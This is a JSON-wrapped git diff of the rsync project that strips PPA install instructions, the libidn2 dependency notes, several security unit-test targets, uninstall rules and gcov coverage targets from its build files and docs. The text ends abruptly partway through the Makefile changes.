{"base_revision":"git-v1:109bc46ef04272745ac0d9830ab1edaf18709efc","content":"diff --git a/.gitattributes b/.gitattributes\nindex 17c3856..6313b56 100644\n--- a/.gitattributes\n+++ b/.gitattributes\n@@ -1,17 +1 @@\n * text=auto eol=lf\n-\n-# The rsync-web/ subdirectory holds the project website source content\n-# (mirrors what gets pushed to https://rsync.samba.org).  Exclude it from\n-# `git archive` output so the release source tarball produced by\n-# packaging/release.py step_7_tarball does not bloat with HTML the\n-# tarball doesn't need.\n-/rsync-web/ export-ignore\n-\n-# old_versions/ holds static binaries of historical rsync releases, used by the\n-# version-mixing test suite (.github/workflows/ubuntu-version-mix.yml) to run\n-# the current code against a real old peer over the daemon / remote-shell.\n-# Mark the binaries as binary so the `text=auto eol=lf` rule above can't try to\n-# normalise line endings and corrupt them; export-ignore keeps them out of the\n-# release source tarball.\n-/old_versions/rsync_* binary\n-/old_versions/rsync_* export-ignore\ndiff --git a/.gitignore b/.gitignore\nindex 7a44021..9e59c9c 100644\n--- a/.gitignore\n+++ b/.gitignore\n@@ -13,7 +13,6 @@ config.h.in.old\n config.log\n config.status\n aclocal.m4\n-__pycache__\n /proto.h\n /proto.h-tstamp\n /rsync*.[15]\n@@ -46,17 +45,6 @@ __pycache__\n /t_unsafe\n /wildtest\n /getfsdev\n-/simdtest\n-/t_acl\n-/t_chmod_secure\n-/t_clean_fname\n-/t_hashtable_overflow\n-/t_iwildmatch\n-/t_rename_secure\n-/t_safe_arg\n-/t_safe_arg_main\n-/t_secure_relpath\n-/t_symlink_secure\n /rounding.h\n /doc/rsync.pdf\n /doc/rsync.ps\n@@ -64,12 +52,9 @@ __pycache__\n /testsuite/chown-fake.test\n /testsuite/devices-fake.test\n /testsuite/xattrs-hlink.test\n-/testsuite/fleettest.json\n-/fleettest-logs\n /patches\n /patches.gen\n /build\n /auto-build-save\n .deps\n /*.exe\n-*.dSYM/\ndiff --git a/INSTALL.md b/INSTALL.md\nindex e9b70aa..19d3905 100644\n--- a/INSTALL.md\n+++ b/INSTALL.md\n@@ -7,34 +7,6 @@ option to use if you want to just skip that feature.  What follows are various\n support libraries that you may want to install to build rsync with the maximum\n features (the impatient can skip down to the package summary):\n \n-## Ubuntu users: skip the build, use the PPA\n-\n-If you are on a currently supported Ubuntu series (jammy 22.04 LTS, noble\n-24.04 LTS, questing 25.10, resolute 26.04 LTS) and just want the latest\n-upstream rsync, the rsync project maintains a Launchpad PPA that tracks\n-stable releases:\n-\n->     sudo add-apt-repository ppa:rsyncproject/rsync\n->     sudo apt update && sudo apt install rsync\n-\n-See [the PPA page][ppa] for current build status across architectures.\n-\n-[ppa]: https://launchpad.net/~rsyncproject/+archive/ubuntu/rsync\n-\n-To test the upcoming release instead, there is also a [`rsync-latest`\n-PPA][ppa-latest] that is rebuilt from the tip of the git master branch.  These\n-are development snapshots whose version numbers (such as\n-`3.5.0~git20260601...`) deliberately sort below the matching stable release, so\n-the stable PPA above will never silently move you from a release onto a\n-snapshot.  Use it for testing only -- it may contain unreleased changes:\n-\n->     sudo add-apt-repository ppa:rsyncproject/rsync-latest\n->     sudo apt update && sudo apt install rsync\n-\n-[ppa-latest]: https://launchpad.net/~rsyncproject/+archive/ubuntu/rsync-latest\n-\n-The rest of this document covers building from source.\n-\n ## The basic setup\n \n You need to have a C compiler installed and optionally a C++ compiler in order\n@@ -114,16 +86,6 @@ checksums.\n \n [4]: https://www.openssl.org/docs/man1.0.2/man3/crypto.html\n \n-## libidn2\n-\n-The [libidn2 library][5] converts an internationalized domain name into the\n-IDNA A-label (\"Punycode\") form that a resolver understands.  Installing this\n-development library lets rsync connect to a daemon whose name has non-ASCII\n-characters in it, and lets a daemon's \"hosts allow\" & \"hosts deny\" settings be\n-written the same way.\n-\n-[5]: https://www.gnu.org/software/libidn/#libidn2\n-\n ## Package summary\n \n To help you get the libraries installed, here are some package install commands\n@@ -141,7 +103,6 @@ like.\n     >     sudo apt install -y libzstd-dev\n     >     sudo apt install -y liblz4-dev\n     >     sudo apt install -y libssl-dev\n-    >     sudo apt install -y libidn2-dev\n \n Or run support/install_deps_ubuntu.sh\n \n@@ -155,7 +116,6 @@ Or run support/install_deps_ubuntu.sh\n     >     sudo yum -y install libzstd-devel\n     >     sudo yum -y install lz4-devel\n     >     sudo yum -y install openssl-devel\n-    >     sudo yum -y install libidn2-devel\n     >     python3 -mpip install --user commonmark\n \n  -  For Fedora 33:\n@@ -166,7 +126,6 @@ Or run support/install_deps_ubuntu.sh\n     >     sudo dnf -y install libzstd-devel\n     >     sudo dnf -y install lz4-devel\n     >     sudo dnf -y install openssl-devel\n-    >     sudo dnf -y install libidn2-devel\n \n  -  For FreeBSD (this assumes that the python3 version is 3.7):\n \n@@ -174,7 +133,6 @@ Or run support/install_deps_ubuntu.sh\n     >     sudo pkg install -y xxhash\n     >     sudo pkg install -y zstd\n     >     sudo pkg install -y liblz4\n-    >     sudo pkg install -y libidn2\n \n  -  For macOS:\n \n@@ -183,7 +141,6 @@ Or run support/install_deps_ubuntu.sh\n     >     brew install zstd\n     >     brew install lz4\n     >     brew install openssl\n-    >     brew install libidn2\n \n  -  For Cygwin (with all cygwin programs stopped, run the appropriate setup program from a cmd shell):\n \n@@ -192,7 +149,6 @@ Or run support/install_deps_ubuntu.sh\n     >     setup-x86_64 --quiet-mode -P libzstd-devel\n     >     setup-x86_64 --quiet-mode -P liblz4-devel\n     >     setup-x86_64 --quiet-mode -P libssl-devel\n-    >     setup-x86_64 --quiet-mode -P libidn2-devel\n \n     Sometimes cygwin has commonmark packaged and sometimes it doesn't. Now that\n     its python38 has stabilized, you could install python38-commonmark. Or just\ndiff --git a/Makefile.in b/Makefile.in\nindex 3a5d509..7c75c26 100644\n--- a/Makefile.in\n+++ b/Makefile.in\n@@ -21,7 +21,6 @@ LIBOBJDIR=lib/\n \n INSTALLCMD=@INSTALL@\n INSTALLMAN=@INSTALL@\n-STRIP=@STRIP@\n \n srcdir=@srcdir@\n MKDIR_P=@MKDIR_P@\n@@ -41,17 +40,16 @@ GENFILES=configure.sh aclocal.m4 config.h.in rsync.1 rsync.1.html \\\n HEADERS=byteorder.h config.h errcode.h proto.h rsync.h ifuncs.h itypes.h inums.h \\\n \tlib/pool_alloc.h lib/mdigest.h lib/md-defines.h\n LIBOBJ=lib/wildmatch.o lib/compat.o lib/snprintf.o lib/mdfour.o lib/md5.o \\\n-\tlib/permstring.o lib/pool_alloc.o lib/sysacls.o lib/sysxattrs.o lib/acl.o @LIBOBJS@\n+\tlib/permstring.o lib/pool_alloc.o lib/sysacls.o lib/sysxattrs.o @LIBOBJS@\n zlib_OBJS=zlib/deflate.o zlib/inffast.o zlib/inflate.o zlib/inftrees.o \\\n \tzlib/trees.o zlib/zutil.o zlib/adler32.o zlib/compress.o zlib/crc32.o\n-OBJS1_NO_MAIN=flist.o rsync.o generator.o receiver.o cleanup.o sender.o exclude.o \\\n-\tutil1.o util2.o checksum.o match.o syscall.o log.o backup.o delete.o\n-OBJS1=$(OBJS1_NO_MAIN) main.o\n+OBJS1=flist.o rsync.o generator.o receiver.o cleanup.o sender.o exclude.o \\\n+\tutil1.o util2.o main.o checksum.o match.o syscall.o log.o backup.o delete.o\n OBJS2=options.o io.o compat.o hlink.o token.o uidlist.o socket.o hashtable.o \\\n \tusage.o fileio.o batch.o clientname.o chmod.o acls.o xattrs.o\n-OBJS3=progress.o pipe.o niceness.o @MD5_ASM@ @ROLL_SIMD@ @ROLL_ASM@\n+OBJS3=progress.o pipe.o @MD5_ASM@ @ROLL_SIMD@ @ROLL_ASM@\n DAEMON_OBJ = params.o loadparm.o clientserver.o access.o connection.o authenticate.o\n-popt_OBJS= popt/popt.o  popt/poptconfig.o \\\n+popt_OBJS=popt/findme.o  popt/popt.o  popt/poptconfig.o \\\n \tpopt/popthelp.o popt/poptparse.o popt/poptint.o\n OBJS=$(OBJS1) $(OBJS2) $(OBJS3) $(DAEMON_OBJ) $(LIBOBJ) @BUILD_ZLIB@ @BUILD_POPT@\n \n@@ -59,20 +57,12 @@ TLS_OBJ = tls.o syscall.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/perms\n \n # Programs we must have to run the test cases\n CHECK_PROGS = rsync$(EXEEXT) tls$(EXEEXT) getgroups$(EXEEXT) getfsdev$(EXEEXT) \\\n-\ttestrun$(EXEEXT) trimslash$(EXEEXT) t_unsafe$(EXEEXT) t_chmod_secure$(EXEEXT) \\\n-\tt_rename_secure$(EXEEXT) t_symlink_secure$(EXEEXT) t_secure_relpath$(EXEEXT) t_acl$(EXEEXT) t_hashtable_overflow$(EXEEXT) t_iwildmatch$(EXEEXT) t_clean_fname$(EXEEXT) t_safe_arg$(EXEEXT) wildtest$(EXEEXT) simdtest$(EXEEXT)\n+\ttestrun$(EXEEXT) trimslash$(EXEEXT) t_unsafe$(EXEEXT) wildtest$(EXEEXT)\n \n-CHECK_SYMLINKS = testsuite/chown-fake_test.py testsuite/devices-fake_test.py \\\n-\ttestsuite/xattrs-hlink_test.py testsuite/exclude-lsh_test.py\n+CHECK_SYMLINKS = testsuite/chown-fake.test testsuite/devices-fake.test testsuite/xattrs-hlink.test\n \n # Objects for CHECK_PROGS to clean\n-CHECK_OBJS=tls.o testrun.o getgroups.o getfsdev.o t_stub.o t_unsafe.o t_chmod_secure.o t_rename_secure.o t_symlink_secure.o t_secure_relpath.o t_acl.o t_hashtable_overflow.o t_iwildmatch.o t_clean_fname.o t_safe_arg.o trimslash.o wildtest.o\n-# Compile-only feature-shape checks.\n-CHECK_COMPILE_OBJS=syscall-no-at-fdcwd.o syscall-no-o-directory.o \\\n-\tauthenticate-no-o-cloexec.o rsync-no-o-cloexec.o clientserver-no-o-directory.o \\\n-\tflist-no-o-directory.o generator-no-o-directory.o sender-no-o-directory.o \\\n-\tlib/acl-no-o-directory.o\n-CHECK_COMPILE_OBJS=syscall-no-at-fdcwd.o access-no-inet6.o\n+CHECK_OBJS=tls.o testrun.o getgroups.o getfsdev.o t_stub.o t_unsafe.o trimslash.o wildtest.o\n \n # note that the -I. is needed to handle config.h when using VPATH\n .c.o:\n@@ -85,45 +75,6 @@ CHECK_COMPILE_OBJS=syscall-no-at-fdcwd.o access-no-inet6.o\n all: Makefile rsync$(EXEEXT) stunnel-rsyncd.conf @MAKE_RRSYNC@ @MAKE_MAN@\n .PHONY: all\n \n-syscall-no-at-fdcwd.o: syscall.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_AT_FDCWD -c $(srcdir)/syscall.c -o $@\n-\n-syscall-no-o-directory.o: syscall.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_DIRECTORY -c $(srcdir)/syscall.c -o $@\n-\n-authenticate-no-o-cloexec.o: authenticate.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_CLOEXEC -c $(srcdir)/authenticate.c -o $@\n-\n-rsync-no-o-cloexec.o: rsync.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_CLOEXEC -c $(srcdir)/rsync.c -o $@\n-\n-clientserver-no-o-directory.o: clientserver.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_DIRECTORY -c $(srcdir)/clientserver.c -o $@\n-\n-flist-no-o-directory.o: flist.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_DIRECTORY -c $(srcdir)/flist.c -o $@\n-\n-generator-no-o-directory.o: generator.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_DIRECTORY -c $(srcdir)/generator.c -o $@\n-\n-sender-no-o-directory.o: sender.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_DIRECTORY -c $(srcdir)/sender.c -o $@\n-\n-lib/acl-no-o-directory.o: lib/acl.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_O_DIRECTORY -c $(srcdir)/lib/acl.c -o $@\n-access-no-inet6.o: access.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) \\\n-\t    -DRSYNC_TEST_NO_INET6 -c $(srcdir)/access.c -o $@\n-\n .PHONY: install\n install: all\n \t-$(MKDIR_P) $(DESTDIR)$(bindir)\n@@ -131,19 +82,12 @@ install: all\n \t$(INSTALLCMD) -m 755 $(srcdir)/rsync-ssl $(DESTDIR)$(bindir)\n \t-$(MKDIR_P) $(DESTDIR)$(mandir)/man1\n \t-$(MKDIR_P) $(DESTDIR)$(mandir)/man5\n-\tfor fn in rsync.1 rsync-ssl.1; do \\\n-\t    if test -f $$fn; then $(INSTALLMAN) -m 644 $$fn $(DESTDIR)$(mandir)/man1; \\\n-\t    elif test -f $(srcdir)/$$fn; then $(INSTALLMAN) -m 644 $(srcdir)/$$fn $(DESTDIR)$(mandir)/man1; fi; \\\n-\tdone\n-\tfor fn in rsyncd.conf.5; do \\\n-\t    if test -f $$fn; then $(INSTALLMAN) -m 644 $$fn $(DESTDIR)$(mandir)/man5; \\\n-\t    elif test -f $(srcdir)/$$fn; then $(INSTALLMAN) -m 644 $(srcdir)/$$fn $(DESTDIR)$(mandir)/man5; fi; \\\n-\tdone\n+\tif test -f rsync.1; then $(INSTALLMAN) -m 644 rsync.1 $(DESTDIR)$(mandir)/man1; fi\n+\tif test -f rsync-ssl.1; then $(INSTALLMAN) -m 644 rsync-ssl.1 $(DESTDIR)$(mandir)/man1; fi\n+\tif test -f rsyncd.conf.5; then $(INSTALLMAN) -m 644 rsyncd.conf.5 $(DESTDIR)$(mandir)/man5; fi\n \tif test \"$(with_rrsync)\" = yes; then \\\n \t    $(INSTALLCMD) -m 755 rrsync $(DESTDIR)$(bindir); \\\n-\t    fn=rrsync.1; \\\n-\t    if test -f $$fn; then $(INSTALLMAN) -m 644 $$fn $(DESTDIR)$(mandir)/man1; \\\n-\t    elif test -f $(srcdir)/$$fn; then $(INSTALLMAN) -m 644 $(srcdir)/$$fn $(DESTDIR)$(mandir)/man1; fi; \\\n+\t    if test -f rrsync.1; then $(INSTALLMAN) -m 644 rrsync.1 $(DESTDIR)$(mandir)/man1; fi; \\\n \tfi\n \n install-ssl-daemon: stunnel-rsyncd.conf\n@@ -156,23 +100,7 @@ install-ssl-daemon: stunnel-rsyncd.conf\n install-all: install install-ssl-daemon\n \n install-strip:\n-\t$(MAKE) install\n-\t$(STRIP) $(DESTDIR)$(bindir)/rsync$(EXEEXT)\n-\n-.PHONY: uninstall\n-uninstall:\n-\trm -f $(DESTDIR)$(bindir)/rsync$(EXEEXT) $(DESTDIR)$(bindir)/rsync-ssl\n-\trm -f $(DESTDIR)$(bindir)/rrsync\n-\trm -f $(DESTDIR)$(mandir)/man1/rsync.1 $(DESTDIR)$(mandir)/man1/rsync-ssl.1\n-\trm -f $(DESTDIR)$(mandir)/man1/rrsync.1\n-\trm -f $(DESTDIR)$(mandir)/man5/rsyncd.conf.5\n-\n-.PHONY: uninstall-ssl-daemon\n-uninstall-ssl-daemon:\n-\trm -f $(DESTDIR)/etc/stunnel/rsyncd.conf\n-\n-.PHONY: uninstall-all\n-uninstall-all: uninstall uninstall-ssl-daemon\n+\t$(MAKE) INSTALL_STRIP='-s' install\n \n rsync$(EXEEXT): $(OBJS)\n \t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(OBJS) $(LIBS)\n@@ -187,7 +115,6 @@ usage.o: version.h latest-year.h help-rsync.h help-rsyncd.h git-version.h defaul\n loadparm.o: default-dont-compress.h daemon-parm.h\n \n flist.o: rounding.h\n-log.o: rounding.h\n \n default-cvsignore.h default-dont-compress.h: rsync.1.md define-from-md.awk\n \t$(AWK) -f $(srcdir)/define-from-md.awk -v hfile=$@ $(srcdir)/rsync.1.md\n@@ -251,55 +178,6 @@ T_UNSAFE_OBJ = t_unsafe.o syscall.o util1.o util2.o t_stub.o lib/compat.o lib/sn\n t_unsafe$(EXEEXT): $(T_UNSAFE_OBJ)\n \t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_UNSAFE_OBJ) $(LIBS)\n \n-T_HASHTABLE_OVERFLOW_OBJ = t_hashtable_overflow.o hashtable.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/wildmatch.o\n-t_hashtable_overflow$(EXEEXT): $(T_HASHTABLE_OVERFLOW_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_HASHTABLE_OVERFLOW_OBJ) $(LIBS)\n-\n-T_IWILDMATCH_OBJ = t_iwildmatch.o lib/wildmatch.o\n-t_iwildmatch$(EXEEXT): $(T_IWILDMATCH_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_IWILDMATCH_OBJ) $(LIBS)\n-\n-T_CLEAN_FNAME_OBJ = t_clean_fname.o syscall.o util1.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/wildmatch.o\n-t_clean_fname$(EXEEXT): $(T_CLEAN_FNAME_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_CLEAN_FNAME_OBJ) $(LIBS)\n-\n-# safe_arg lives in options.c alongside the whole option parser.  Rather than\n-# rely on a non-portable linker --gc-sections to drop the parser (GNU ld only;\n-# macOS ld64 and the cygwin PE linker do not), link the real rsync objects so\n-# every dep resolves.  t_safe_arg_main.o is main.c with main() renamed out, to\n-# supply main.c's globals while letting t_safe_arg.o provide the test's main().\n-# OBJS minus main.o is spelled out via OBJS1_NO_MAIN because $(filter-out) is\n-# GNU-make-only; BSD and Solaris make expand it to nothing.\n-t_safe_arg_main.o: main.c $(HEADERS)\n-\t$(CC) -I. -I$(srcdir) $(CFLAGS) $(CPPFLAGS) -Dmain=rsync_unused_main -c $(srcdir)/main.c -o t_safe_arg_main.o\n-T_SAFE_ARG_OBJ = t_safe_arg.o t_safe_arg_main.o $(OBJS1_NO_MAIN) $(OBJS2) $(OBJS3) $(DAEMON_OBJ) $(LIBOBJ) @BUILD_ZLIB@ @BUILD_POPT@\n-t_safe_arg$(EXEEXT): $(T_SAFE_ARG_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_SAFE_ARG_OBJ) $(LIBS)\n-\n-T_CHMOD_SECURE_OBJ = t_chmod_secure.o syscall.o util1.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/wildmatch.o lib/permstring.o\n-t_chmod_secure$(EXEEXT): $(T_CHMOD_SECURE_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_CHMOD_SECURE_OBJ) $(LIBS)\n-\n-T_RENAME_SECURE_OBJ = t_rename_secure.o syscall.o util1.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/wildmatch.o lib/permstring.o\n-t_rename_secure$(EXEEXT): $(T_RENAME_SECURE_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_RENAME_SECURE_OBJ) $(LIBS)\n-\n-T_SYMLINK_SECURE_OBJ = t_symlink_secure.o syscall.o util1.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/wildmatch.o lib/permstring.o\n-t_symlink_secure$(EXEEXT): $(T_SYMLINK_SECURE_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_SYMLINK_SECURE_OBJ) $(LIBS)\n-\n-T_SECURE_RELPATH_OBJ = t_secure_relpath.o syscall.o util1.o util2.o t_stub.o lib/compat.o lib/snprintf.o lib/wildmatch.o lib/permstring.o\n-t_secure_relpath$(EXEEXT): $(T_SECURE_RELPATH_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_SECURE_RELPATH_OBJ) $(LIBS)\n-\n-# Unit test for lib/acl.c: compares our fd/at ACL ops against the system libacl\n-# (linked via $(LIBS), which carries -lacl).  lib/acl.o references no rsync\n-# globals, so this links with no stubs.  Self-skips (exit 77) when built\n-# without SUPPORT_ACL_FD.\n-T_ACL_OBJ = t_acl.o lib/acl.o\n-t_acl$(EXEEXT): $(T_ACL_OBJ)\n-\t$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $(T_ACL_OBJ) $(LIBS)\n-\n .PHONY: conf\n conf: configure.sh config.h.in\n \n@@ -389,11 +267,9 @@ rrsync.1: support/rrsync.1.md md-convert Makefile\n \n .PHONY: clean\n clean: cleantests\n-\trm -f *~ $(OBJS) $(CHECK_PROGS) $(CHECK_OBJS) $(CHECK_COMPILE_OBJS) $(CHECK_SYMLINKS) @MAKE_RRSYNC@ \\\n+\trm -f *~ $(OBJS) $(CHECK_PROGS) $(CHECK_OBJS) $(CHECK_SYMLINKS) @MAKE_RRSYNC@ \\\n \t\tgit-version.h rounding rounding.h *.old rsync*.1 rsync*.5 @MAKE_RRSYNC_1@ \\\n \t\t*.html daemon-parm.h help-*.h default-*.h proto.h proto.h-tstamp\n-\trm -f *.gcno *.gcda lib/*.gcno lib/*.gcda zlib/*.gcno zlib/*.gcda popt/*.gcno popt/*.gcda\n-\trm -rf coverage coverage-tcp coverage-all coverage-fallback\n \n .PHONY: cleantests\n cleantests:\n@@ -434,172 +310,30 @@ test: check\n # catch Bash-isms earlier even if we're running on GNU.  Of course, we\n # might lose in the future where POSIX diverges from old sh.\n \n-# `make check` runs tests in parallel by default. Override with\n-# `make check CHECK_J=1` (serial) or any other value.\n-CHECK_J = 8\n-\n-# Parallelism for `make coverage`. Defaults to the same as CHECK_J: the\n-# coverage build sets -fprofile-update=atomic (atomic in-memory counters) and\n-# gcc's libgcov serializes the per-source .gcda read-modify-write merge with a\n-# file lock, so concurrent rsync processes (incl. the forked sender/generator/\n-# receiver) accumulate exactly -- verified by a count-linearity check (a hot\n-# line accumulates identically at -j1 and -P16). Override with\n-# `make coverage COVERAGE_J=1` if your libgcov does not lock .gcda merges.\n-COVERAGE_J = $(CHECK_J)\n-\n-# Output directory and extra runtests.py flags for `make coverage`. The\n-# `coverage-tcp` target reuses the coverage recipe with --use-tcp (real\n-# loopback rsyncd, which exercises the TCP accept/auth path and the\n-# require_tcp-only tests) and a separate output directory.\n-COVERAGE_DIR = coverage\n-COVERAGE_RUNFLAGS =\n-\n-# Excluded from the coverage report so the percentages reflect rsync's own\n-# runtime source.  Three buckets:\n-#  (1) Bundled third-party code rsync ships but does not own: zlib/, popt/, and\n-#      the named lib/ imports (PostgreSQL getaddrinfo, ISC inet_ntop/inet_pton,\n-#      standalone getpass).  The other lib/*.c are rsync's own and stay in.\n-#  (2) Test-helper / build-time programs that link against rsync objects but are\n-#      not the rsync runtime: t_*.c, tls.c, wildtest.c, testrun.c, getgroups.c,\n-#      getfsdev.c, trimslash.c, rounding.c.  These have their own main() and are\n-#      either driven directly by a test (counted there) or are configure-time\n-#      probes; counting them as \"rsync uncovered\" is noise.\n-#  (3) Compile-time-dead fallbacks under this build's config.h: lib/md5.c (the\n-#      reference md5 -- openssl's EVP path is used when HAVE_OPENSSL) and\n-#      lib/snprintf.c (only the #include line survives under\n-#      HAVE_C99_VSNPRINTF).  Covering these would mean a separate non-openssl /\n-#      non-C99 build, which is out of scope for this report.\n-COVERAGE_EXCLUDE = -e '(^|/)zlib/' -e '(^|/)popt/' \\\n-\t-e '(^|/)lib/(getaddrinfo|getpass|inet_ntop|inet_pton)\\.' \\\n-\t-e '(^|/)(t_[a-z_]+|tls|wildtest|testrun|getgroups|getfsdev|trimslash|rounding)\\.c$$' \\\n-\t-e '(^|/)lib/(md5|snprintf)\\.c$$'\n-\n-# Build everything the test suite needs (rsync + helper programs + symlinks)\n-# WITHOUT running it. Used by CI jobs that invoke runtests.py directly with\n-# custom options (e.g. the version-mix workflow's --rsync-bin2/--expect-result).\n-.PHONY: check-progs\n-check-progs: all $(CHECK_PROGS) $(CHECK_COMPILE_OBJS) $(CHECK_SYMLINKS)\n-\n .PHONY: check\n-check: all $(CHECK_PROGS) $(CHECK_COMPILE_OBJS) $(CHECK_SYMLINKS)\n-\t\"$(srcdir)/runtests.py\" --rsync-bin=\"`pwd`/rsync$(EXEEXT)\" -j $(CHECK_J)\n+check: all $(CHECK_PROGS) $(CHECK_SYMLINKS)\n+\trsync_bin=`pwd`/rsync$(EXEEXT) $(srcdir)/runtests.sh\n \n .PHONY: check29\n-check29: all $(CHECK_PROGS) $(CHECK_COMPILE_OBJS) $(CHECK_SYMLINKS)\n-\t\"$(srcdir)/runtests.py\" --rsync-bin=\"`pwd`/rsync$(EXEEXT)\" -j $(CHECK_J) --protocol=29\n+check29: all $(CHECK_PROGS) $(CHECK_SYMLINKS)\n+\trsync_bin=`pwd`/rsync$(EXEEXT) $(srcdir)/runtests.sh --protocol=29\n \n .PHONY: check30\n-check30: all $(CHECK_PROGS) $(CHECK_COMPILE_OBJS) $(CHECK_SYMLINKS)\n-\t\"$(srcdir)/runtests.py\" --rsync-bin=\"`pwd`/rsync$(EXEEXT)\" -j $(CHECK_J) --protocol=30\n-\n-# Whole-suite gcov coverage report (HTML, with branch + decision coverage).\n-# Requires a build configured with --enable-coverage and the `gcovr` tool\n-# (pip install gcovr). Runs the suite in parallel (COVERAGE_J, default CHECK_J):\n-# this is safe because the coverage build uses -fprofile-update=atomic and\n-# libgcov locks the per-source .gcda during its merge, so concurrent rsync\n-# processes accumulate exactly (see COVERAGE_J above). Use COVERAGE_J=1 if your\n-# toolchain's libgcov does not lock .gcda merges.\n-.PHONY: coverage\n-coverage: all $(CHECK_PROGS) $(CHECK_SYMLINKS)\n-\t@case '$(CFLAGS)' in *--coverage*) ;; \\\n-\t  *) echo \"*** not a coverage build; reconfigure with --enable-coverage\"; exit 1 ;; esac\n-\t@command -v gcovr >/dev/null 2>&1 || { echo \"*** gcovr not found (pip install gcovr)\"; exit 1; }\n-\tfind . -name '*.gcda' -delete\n-\t@# Daemon modules with `uid = <non-root>` setuid the per-connection child\n-\t@# (and so the forked generator/receiver), which then cannot create or\n-\t@# merge .gcda files in a root-owned build dir -- silently dropping ALL\n-\t@# coverage from those processes.  Make every .gcno's directory\n-\t@# world-writable so any uid can create the sibling .gcda, and set a\n-\t@# default ACL of o::rw so the .gcda are world-mergeable regardless of\n-\t@# the creator's umask (every test process resets umask to 022 via\n-\t@# rsyncfns.py, so a Makefile-level `umask 0` would not survive).\n-\t@find . -name '*.gcno' -printf '%h\\n' 2>/dev/null | sort -u | \\\n-\t  while read d; do \\\n-\t    chmod a+rwx \"$$d\"; \\\n-\t    setfacl -m 'd:u::rwx,d:g::rwx,d:o::rwx' \"$$d\" 2>/dev/null || true; \\\n-\t  done\n-\t@rc=0; \"$(srcdir)/runtests.py\" --rsync-bin=\"`pwd`/rsync$(EXEEXT)\" -j $(COVERAGE_J) $(COVERAGE_RUNFLAGS) || rc=$$?; \\\n-\t  rm -rf $(COVERAGE_DIR) && mkdir -p $(COVERAGE_DIR); \\\n-\t  gcovr --root $(srcdir) $(COVERAGE_EXCLUDE) --decisions --print-summary \\\n-\t      --gcov-ignore-parse-errors=negative_hits.warn_once_per_file \\\n-\t      --html-details -o $(COVERAGE_DIR)/index.html . || exit $$?; \\\n-\t  echo \"Coverage report written to $(COVERAGE_DIR)/index.html\"; \\\n-\t  if test $$rc != 0; then \\\n-\t    echo \"*** test suite FAILED (status $$rc) -- coverage report still written above\"; \\\n-\t  fi; \\\n-\t  exit $$rc\n-\n-# Same as `make coverage` but with the daemon tests run over a real loopback\n-# rsyncd (--use-tcp), into a separate report directory.\n-.PHONY: coverage-tcp\n-coverage-tcp:\n-\t$(MAKE) coverage COVERAGE_RUNFLAGS=--use-tcp COVERAGE_DIR=coverage-tcp\n-\n-# Comprehensive single report: run the suite under several configurations,\n-# accumulating into the shared .gcda counters (NOT cleared between runs), then\n-# emit one merged, rsync-scoped report. Covers the default (pipe) transport, the\n-# protocol-29/30 compat branches, and the real-TCP daemon path (which also runs\n-# the require_tcp-only tests). Run under sudo to additionally cover root-only\n-# paths (devices, chown, use-chroot, protected-regular). Local target -- CI uses\n-# the plain `coverage`/`coverage-tcp` targets.\n-.PHONY: coverage-all\n-coverage-all: all $(CHECK_PROGS) $(CHECK_SYMLINKS)\n-\t@case '$(CFLAGS)' in *--coverage*) ;; \\\n-\t  *) echo \"*** not a coverage build; reconfigure with --enable-coverage\"; exit 1 ;; esac\n-\t@command -v gcovr >/dev/null 2>&1 || { echo \"*** gcovr not found (pip install gcovr)\"; exit 1; }\n-\tfind . -name '*.gcda' -delete\n-\t@# See the `coverage` target above for why: setuid'd daemon children must\n-\t@# be able to create/merge .gcda owned by a different uid.\n-\t@find . -name '*.gcno' -printf '%h\\n' 2>/dev/null | sort -u | \\\n-\t  while read d; do \\\n-\t    chmod a+rwx \"$$d\"; \\\n-\t    setfacl -m 'd:u::rwx,d:g::rwx,d:o::rwx' \"$$d\" 2>/dev/null || true; \\\n-\t  done\n-\t@rc=0; \\\n-\t  for cfg in '' '--protocol=30' '--protocol=29' '--use-tcp'; do \\\n-\t    echo \"===== coverage-all: runtests.py $$cfg =====\"; \\\n-\t    \"$(srcdir)/runtests.py\" --rsync-bin=\"`pwd`/rsync$(EXEEXT)\" -j $(COVERAGE_J) $$cfg || 